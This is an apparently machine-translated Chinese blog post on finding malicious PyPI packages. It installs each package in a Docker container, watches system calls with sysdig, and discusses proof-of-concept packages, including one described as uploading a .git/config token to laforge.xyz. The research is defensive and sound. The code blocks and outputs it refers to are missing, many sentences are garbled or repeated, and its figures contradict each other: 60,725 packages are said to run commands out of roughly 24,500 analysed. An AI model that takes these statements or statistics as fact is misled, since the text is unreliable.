大约一年前，Python软件基金会(Python Software Foundation)发起信息请求(RFI)讨论如何检测和上传活动PyPI的恶意程序包。无论是接管废弃的程序包、在流行的库中误植域名(Typosquatting)，很明显，这是一个影响几乎每个程序包管理器的实际问题。误植域名(Typosquatting)，也称作URL劫持，假URL等等，是域名抢注的一种形式，往往会导致品牌劫持。这种劫持方式通常取决于用户在浏览器中输入网站时犯错误拼写等错误。一旦用户意外输入了错误的网站，们可能会被导向任何其他网站（如域名注册器操作的网站）。
事实上，像PyPI这种程序包管理器是几乎所有公司都依赖的关键基础设施。我可以写这个主题好几天，但我现在只写这个xkcd就够了。
这是我感兴趣的领域，所以我对如何处理这个问题提出了自己的想法。但还有一件事困扰着我：考虑安装程序包后会发生什么。
虽然可能有必要设置一些活动，但应始终使用相关的检查工具来检查，如pip在安装过程中建立网络连接或执行命令，因为它没有给开发人员太多的机会在坏事发生前检查代码。
我想进一步研究这一点，所以在本文中，我将逐步介绍如何安装和分析它PyPI每个程序包都在寻找恶意活动。
如何发现恶意库
开发在安装过程中操作任何命令，开发人员通常在程序包中添加代码setup.py您可以在这个存储库中看到一些示例。
在更高层次上，您可以执行以下两个操作来找到潜在的恶意依赖：您可以查看代码中的不良内容（静态分析），或危险地安装它们，看看会发生什么（动态分析）。
虽然静态分析很有趣(我发现了)npm上使用手工grep恶意程序包)，但在本文中，我将专注于动态分析。毕竟，动态分析的能力更强，因为你看到的是实际发生的事情，而不仅仅是寻找可能的恶意行为。
那我们到底在寻找什么呢？
如何完成重要的事情
通常，任何重要的事情都是由核心完成的。希望通过核心执行重要操作的普通程序(如pip)是通过使用syscall完成syscall所有打开文件、建立网络连接和执行命令的操作都可以完成！您可以点击此处了解更多信息。
这意味着如果我们能安装它Python当系统在程序包中调用时，可以检查是否发生了可疑事件。优点是代码的混淆程度无关紧要，我们会看到实际情况。
需要注意的是，系统调用的想法调用的想法。自2017年以来，亚当·鲍德温(Adam Baldwin) 和其他人一直在讨论这个问题。乔治亚理工学院的研究人员用同样的方法发表了一篇很好的论文。说实话，这篇文章的大部分内容试图复制他们的想法。
因此，我们想知道系统调用是如何做到的？
用Sysdig查看系统调用
Sysdig 比 是超级系统工具strace、tcpdump、lsof 加起来很强大。可用于捕获系统状态信息，保存数据并进行过滤和分析。Lua 开发，提供命令行界面和强大的交互界面。
有许多工具旨在让您查看系统调用。本文使用了它sysdig，因为它不仅提供结构化输出，还提供了一些非常好的过滤功能。
为了实现这一点，启动安装程序包Docker我还启动了一个容器sysdig这个过程只监控容器中的事件。我过滤掉了从pypi.org或files.pythonhosted.com网络读写操作，因为我不想用与程序包下载相关的流量来填写日志。
通过捕获系统的调用，我不得不解决另一个问题：如何获得一切PyPI程序包列表。
获取Python包
幸运的是，PyPI有一个称为“简单API”的API，也可以认为是“一个很大HTML页面包含指向每个程序包的链接”，它比我可能写的任何东西都简单、干净、干净HTML都要好。
我们可以使用这个页面pup对所有链接进行分析，为我们提供约26800个程序包：
在这个测试中，我只关心每个程序包的最新版本。较旧的版本中可能埋藏着恶意版本的程序包，但AWS自己不承担账单。
我终于得到了一条看起来像这样的管道：
简而言之，我们将每个程序包的名称发送到一组EC2实例(我希望将来使用(我希望将来使用)Fargate或者其他东西，但我不知道Fargate)，从PyPI获取一些关于程序包的元数据，然后开始sysdig还有一系列容器pip收集安装程序包、系统调用和网络流量。然后将所有数据发送到S3，以供future-Jordan处理。
如下：
查看结果
一旦完成上述步骤，我将是一个S3存储在储桶中1TB数据覆盖约2.45万个程序包。有些程序包没有发布版本，有些程序包有各种错误，但这似乎是一个很好的例子。
以下是具体的分析过程
我合并了元数据和输出，得到了以下系列JSON文件：
然后，我编写了一系列脚本来总结数据，试图理解什么是良性的，什么是恶性的。让我们深入研究这些输出结果。
网络请求
在安装过程中，程序包需要建立网络连接的原因有很多。他们可能需要下载合法的二进制组件或其他资源，这可能是一种分析形式，或试图从系统中窃取数据或凭证。
结果发现，有460个数据程序包连接到109个独立的主机，就像上面提到的文章一样，许多这样的程序包都是由于程序包共享网络连接的依赖性。它们可以通过映射依赖过滤掉，但我没有在本文的示范中这样做，这在安装过程中看到DNS请求明细。
命令执行
和网络连接一样，程序包在安装过程中有合理的理由操作系统命令。这可能是编译本机二进制文件，设置正确的环境。
查看我们的样本集，发现60725个程序包在安装过程中执行命令。就像网络连接一样，我们必须记住，其中许多是下游依赖项（操作命令程序包）的结果。
有趣的程序包
正如预期的那样，经过深入的研究，大多数网络连接和命令似乎是合法的。但也有一些奇怪的行为例子，我想列出这种类型的分析有多有用。
(1) i-am-malicious
一个名为i-am-malicious该程序包似乎是恶意程序包的概念验证，以下是一些有趣的细节，使我们认为该程序包值得研究：
我们已经知道这里发生了什么，我们可以看到一个gist.github.com一个连接正在执行中Python正在创建一个名为/的文件tmp/malicious-was-here当然，这是文件。setup.py中间发生的事情:
正在讨论的malicious.py只是向/tmp/malicious-was-here添加了一个“我曾在这里”类型信息表明这确实是概念验证。
(2) maliciouspackage
另一个自称恶意程序的程序包创造性地命名为maliciouspackage，它的攻击能力略高。以下是相关输出:
和以前一样，我们可以根据输出结果对正在发生的事情有很好的了解。在这种情况下，程序包似乎是从.git/config从文件中提取令牌并上传到laforge.xyz，我们发现这是真的：
(3) easyIoCtl
easyIoCtl程序包确实是一个有趣的程序包。它声称提供了“远离无聊的IO操作的抽象”，但我们看到下面的命令正在执行：
结果可疑，但不是很有攻击性。然而，这是展示跟踪系统调用攻击能力的完美例子。以下是项目setup.py相关代码：
很难知道发生了什么。传统的静态分析可能会捕捉到正确的exec但仅此而已。
我们可以用它来检查它在做什么print替换exec，结果如下：
这是我们记录的命令，表明即使代码混淆也不会影响我们的结果，因为我们监控系统调用级别。
当我们发现恶意程序包时会发生什么？
当我们发现恶意程序包时，我们能做些什么来简要讨论这个问题。首先要做的是通知PyPI开发程序包可以由开发者联系。security@python.org.1来实现
之后，我们可以使用它BigQuery上的PyPI下载公共数据集查看程序包多少次？
这是过去30天安装恶意软件包的例子：
运行此查询可发现已下载400次以上：
maliciouspackage下载
总结
第一步只是对整个过程的初步了解PyPI，通过查看数据，我没有发现任何程序包做了明显的有害活动，也没有恶意的名字。虽然情况很乐观，但我可能总是错过一些事情，或者将来会发生。如果你对深入研究数据感兴趣，你可以在这里找到它。
接下来，我将设置一个Lambda函数来使用PyPI的RSS feed获得最新的程序包更改，每个更新后的程序包都会经过同样的处理，并在检测可疑活动时发出报警。
我还是不喜欢用户 pip install您可以在用户系统上操作任何命令。我知道的大多数用例都是良性的，但也必须考虑风险。我希望在恶意活动产生重大影响之前，通过对各种程序包管理器的监控，我们能够识别出其迹象。